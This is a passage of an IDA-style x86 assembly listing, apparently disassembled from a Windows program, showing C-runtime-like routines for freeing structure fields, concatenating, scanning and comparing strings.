XREF: sub_41B0BB+7j pop esi retn sub_41B0BB endp ; =============== S U B R O U T I N E ======================================= sub_41B24B proc near ; CODE XREF: sub_416102+5Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41B2A8 mov eax, [esi] mov ecx, off_42D194 cmp eax, [ecx] jz short loc_41B26F cmp eax, off_42D164 jz short loc_41B26F push eax call sub_412FE4 pop ecx loc_41B26F: ; CODE XREF: sub_41B24B+13j ; sub_41B24B+1Bj mov eax, [esi+4] mov ecx, off_42D194 cmp eax, [ecx+4] jz short loc_41B28C cmp eax, off_42D168 jz short loc_41B28C push eax call sub_412FE4 pop ecx loc_41B28C: ; CODE XREF: sub_41B24B+30j ; sub_41B24B+38j mov esi, [esi+8] mov eax, off_42D194 cmp esi, [eax+8] jz short loc_41B2A8 cmp esi, off_42D16C jz short loc_41B2A8 push esi call sub_412FE4 pop ecx loc_41B2A8: ; CODE XREF: sub_41B24B+7j ; sub_41B24B+4Cj ... pop esi retn sub_41B24B endp ; =============== S U B R O U T I N E ======================================= sub_41B2AA proc near ; CODE XREF: sub_416102+3Ap arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_41B381 mov eax, [esi+0Ch] mov ecx, off_42D194 cmp eax, [ecx+0Ch] jz short loc_41B2D4 cmp eax, off_42D170 jz short loc_41B2D4 push eax call sub_412FE4 pop ecx loc_41B2D4: ; CODE XREF: sub_41B2AA+19j ; sub_41B2AA+21j mov eax, [esi+10h] mov ecx, off_42D194 cmp eax, [ecx+10h] jz short loc_41B2F1 cmp eax, off_42D174 jz short loc_41B2F1 push eax call sub_412FE4 pop ecx loc_41B2F1: ; CODE XREF: sub_41B2AA+36j ; sub_41B2AA+3Ej mov eax, [esi+14h] mov ecx, off_42D194 cmp eax, [ecx+14h] jz short loc_41B30E cmp eax, off_42D178 jz short loc_41B30E push eax call sub_412FE4 pop ecx loc_41B30E: ; CODE XREF: sub_41B2AA+53j ; sub_41B2AA+5Bj mov eax, [esi+18h] mov ecx, off_42D194 cmp eax, [ecx+18h] jz short loc_41B32B cmp eax, off_42D17C jz short loc_41B32B push eax call sub_412FE4 pop ecx loc_41B32B: ; CODE XREF: sub_41B2AA+70j ; sub_41B2AA+78j mov eax, [esi+1Ch] mov ecx, off_42D194 cmp eax, [ecx+1Ch] jz short loc_41B348 cmp eax, off_42D180 jz short loc_41B348 push eax call sub_412FE4 pop ecx loc_41B348: ; CODE XREF: sub_41B2AA+8Dj ; sub_41B2AA+95j mov eax, [esi+20h] mov ecx, off_42D194 cmp eax, [ecx+20h] jz short loc_41B365 cmp eax, off_42D184 jz short loc_41B365 push eax call sub_412FE4 pop ecx loc_41B365: ; CODE XREF: sub_41B2AA+AAj ; sub_41B2AA+B2j mov esi, [esi+24h] mov eax, off_42D194 cmp esi, [eax+24h] jz short loc_41B381 cmp esi, off_42D188 jz short loc_41B381 push esi call sub_412FE4 pop ecx loc_41B381: ; CODE XREF: sub_41B2AA+7j ; sub_41B2AA+C6j ... pop esi retn sub_41B2AA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B390 proc near ; CODE XREF: sub_417F13+60p ; sub_419E4A+8Fp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41B405 sub_41B390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B3A0 proc near ; CODE XREF: sub_419E4A+10Bp ; sub_419E4A+116p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41B3C0 loc_41B3AD: ; CODE XREF: sub_41B3A0+1Cj mov al, [ecx] add ecx, 1 test al, al jz short loc_41B3F3 test ecx, 3 jnz short loc_41B3AD mov edi, edi loc_41B3C0: ; CODE XREF: sub_41B3A0+Bj ; sub_41B3A0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B3C0 mov eax, [ecx-4] test al, al jz short loc_41B402 test ah, ah jz short loc_41B3FD test eax, 0FF0000h jz short loc_41B3F8 test eax, 0FF000000h jz short loc_41B3F3 jmp short loc_41B3C0 ; --------------------------------------------------------------------------- loc_41B3F3: ; CODE XREF: sub_41B3A0+14j ; sub_41B3A0+4Fj lea edi, [ecx-1] jmp short loc_41B405 ; --------------------------------------------------------------------------- loc_41B3F8: ; CODE XREF: sub_41B3A0+48j lea edi, [ecx-2] jmp short loc_41B405 ; --------------------------------------------------------------------------- loc_41B3FD: ; CODE XREF: sub_41B3A0+41j lea edi, [ecx-3] jmp short loc_41B405 ; --------------------------------------------------------------------------- loc_41B402: ; CODE XREF: sub_41B3A0+3Dj lea edi, [ecx-4] loc_41B405: ; CODE XREF: sub_41B390+5j ; sub_41B3A0+56j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41B42E loc_41B411: ; CODE XREF: sub_41B3A0+85j mov dl, [ecx] add ecx, 1 test dl, dl jz short loc_41B480 mov [edi], dl add edi, 1 test ecx, 3 jnz short loc_41B411 jmp short loc_41B42E ; --------------------------------------------------------------------------- loc_41B429: ; CODE XREF: sub_41B3A0+A6j ; sub_41B3A0+C0j mov [edi], edx add edi, 4 loc_41B42E: ; CODE XREF: sub_41B3A0+6Fj ; sub_41B3A0+87j mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41B429 test dl, dl jz short loc_41B480 test dh, dh jz short loc_41B477 test edx, 0FF0000h jz short loc_41B46A test edx, 0FF000000h jz short loc_41B462 jmp short loc_41B429 ; --------------------------------------------------------------------------- loc_41B462: ; CODE XREF: sub_41B3A0+BEj mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B46A: ; CODE XREF: sub_41B3A0+B6j mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41B477: ; CODE XREF: sub_41B3A0+AEj mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B480: ; CODE XREF: sub_41B3A0+78j ; sub_41B3A0+AAj mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41B3A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_41B4A4: ; CODE XREF: .text:0041B4B1j mov al, [edx] or al, al jz short loc_41B4B3 add edx, 1 bts [esp], eax jmp short loc_41B4A4 ; --------------------------------------------------------------------------- loc_41B4B3: ; CODE XREF: .text:0041B4A8j mov esi, [ebp+8] or ecx, 0FFFFFFFFh lea ecx, [ecx+0] loc_41B4BC: ; CODE XREF: .text:0041B4CCj add ecx, 1 mov al, [esi] or al, al jz short loc_41B4CE add esi, 1 bt [esp], eax jnb short loc_41B4BC loc_41B4CE: ; CODE XREF: .text:0041B4C3j mov eax, ecx add esp, 20h pop esi leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B4E0 proc near ; CODE XREF: sub_4186A0+1Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41B52C loc_41B4F0: ; CODE XREF: sub_41B4E0+3Cj ; sub_41B4E0+6Aj ... mov eax, [edx] cmp al, [ecx] jnz short loc_41B524 or al, al jz short loc_41B520 cmp ah, [ecx+1] jnz short loc_41B524 or ah, ah jz short loc_41B520 shr eax, 10h cmp al, [ecx+2] jnz short loc_41B524 or al, al jz short loc_41B520 cmp ah, [ecx+3] jnz short loc_41B524 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41B4F0 mov edi, edi loc_41B520: ; CODE XREF: sub_41B4E0+18j ; sub_41B4E0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41B524: ; CODE XREF: sub_41B4E0+14j ; sub_41B4E0+1Dj ... sbb eax, eax shl eax, 1 add eax, 1 retn ; --------------------------------------------------------------------------- loc_41B52C: ; CODE XREF: sub_41B4E0+Ej test edx, 1 jz short loc_41B54C mov al, [edx] add edx, 1 cmp al, [ecx] jnz short loc_41B524 add ecx, 1 or al, al jz short loc_41B520 test edx, 2 jz short loc_41B4F0 loc_41B54C: ; CODE XREF: sub_41B4E0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41B524 or al, al